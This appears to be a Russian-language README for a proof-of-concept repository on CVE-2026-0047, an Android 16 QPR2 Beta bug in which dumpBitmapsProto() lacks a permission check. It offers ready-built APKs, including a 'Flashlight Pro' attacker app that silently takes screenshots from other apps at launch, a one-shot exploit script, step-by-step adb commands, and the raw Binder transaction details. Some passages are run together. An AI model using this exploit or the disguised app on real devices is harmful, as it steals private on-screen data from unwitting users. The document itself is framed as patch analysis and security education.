
CVE-2026-0047: Отсутствует проверка разрешений в ActivityManagerService.dumpBitmapsProto() — кража UI-скриншотов из каждого запущенного приложения без каких-либо разрешений (Android 16 QPR2 Beta)
Куча битмапов, украденных из каждого работающего приложения — ноль разрешений, ноль взаимодействия с пользователем.
Отсутствие проверки enforceCallingOrSelfPermission(DUMP) в ActivityManagerService.dumpBitmapsProto() позволяет любому установленному приложению извлекать UI-битмапы из всех запущенных процессов на Android 16 QPR2 Beta (Baklava).
Примечание: Мы не обнаружили эту уязвимость. Вся заслуга в обнаружении и ответственном сообщении принадлежит оригинальным исследователям. Этот репозиторий содержит наш независимый анализ патча, воспроизведение и учебное описание, чтобы помочь сообществу безопасности понять класс ошибок и методы эксплуатации.
| CVE | CVE-2026-0047 |
| Критичность | Критическая — CVSS 8.4 |
| Компонент | ActivityManagerService.dumpBitmapsProto() |
| Коренная причина | Отсутствие проверки разрешений (CWE-280) |
| Воздействие | Любое приложение без разрешений крадет UI-битмапы из всех запущенных приложений |
| Затронутые | Android 16 QPR2 Beta 1–3 (Baklava), уровень патча < 2026-03-01 |
| Исправлено | Бюллетень безопасности Android за март 2026 |
├── app/ # PoC эксплойт (UI для аудита)
├── attacker/ # "Flashlight Pro" — замаскированное приложение атакующего
├── apk/ # Предварительно собранные APK (готовы к установке)
│ ├── cve-2026-0047-poc.apk
│ └── flashlight-pro-attacker.apk
├── exploit.sh # Одноразовый скрипт эксплойта
├── gradle/ # Gradle wrapper
└── README.md
Вам понадобится эмулятор Android 16 QPR2 Beta (Baklava) с уровнем патча безопасности до 2026-03-01:
# Загрузите уязвимый образ системы
sdkmanager "system-images;android-Baklava;google_apis;arm64-v8a"
# Создайте AVD
avdmanager create avd -n baklava -k "system-images;android-Baklava;google_apis;arm64-v8a"
# Запустите эмулятор
emulator -avd baklava &
# Проверьте, что уровень патча до исправления
adb shell getprop ro.build.version.security_patch
# Всё до 2026-03-01 уязвимо
# Полный запуск: настройка эмулятора, сборка, эксплойт, извлечение украденных битмапов
./exploit.sh --setup-emulator
# Уже запущен эмулятор Baklava?
./exploit.sh
# Пропустить сборку, только запустить эксплойт
./exploit.sh --skip-build
# Установите приложение PoC
adb install apk/cve-2026-0047-poc.apk
# Откройте несколько приложений (Настройки, почта и т.д.), чтобы отображался UI
adb shell am start -n com.android.settings/.Settings
# Запустите PoC
adb shell am start -n com.poc.cve20260047/.MainActivity
# Нажмите кнопку "Exploit dumpBitmapsProto()"
# Установите замаскированное приложение атакующего — НОЛЬ разрешений
adb install apk/flashlight-pro-attacker.apk
# Запустите — эксфильтрация происходит бесшумно при запуске
adb shell am start -n com.poc.cve20260047.attacker/.MainActivity
Raw Binder probe — Код транзакции #117 в сервисе activity соответствует dumpBitmapsProto(). Отправка его без аргументов вызывает NullPointerException внутри AMS (а не SecurityException), что доказывает выполнение тела метода без какой-либо проверки разрешений.
Raw Binder exploit — Мы используем IBinder.transact() для отправки специально сформированного Parcel напрямую в AMS. Это полностью обходит ограничения скрытых API Android — не требуется настройка hidden_api_policy. Parcel содержит:
android.app.IActivityManager)ParcelFileDescriptor (конец канала для записи)userId = -2 (USER_CURRENT)dumpAll = trueНа эмуляторе Baklava (BP41.250725.007, патч 2025-08-05) с открытыми Настройками, Часами и Файлами:
Google добавил enforceCallingOrSelfPermission(DUMP) в качестве первой строки dumpBitmapsProto(), поэтому непривилегированные вызывающие теперь получают SecurityException до того, как будут доступны какие-либо данные.
Исследование и PoC от Mobile Hacking Lab. Мы независимо воспроизвели эту уязвимость в образовательных целях.
Этот proof of concept предоставляется только для образовательных и авторизованных целей исследования безопасности. Используйте его только на устройствах и в средах, которые вам принадлежат или на тестирование которых у вас есть явное разрешение. Авторы не несут ответственности за любое неправомерное использование.
format = "png"Извлечение битмапов — AMS записывает в канал protobuf-данные, содержащие PNG-битмапы. Мы сканируем на наличие магических байтов PNG (89 50 4E 47) и трейлеров IEND для извлечения отдельных изображений.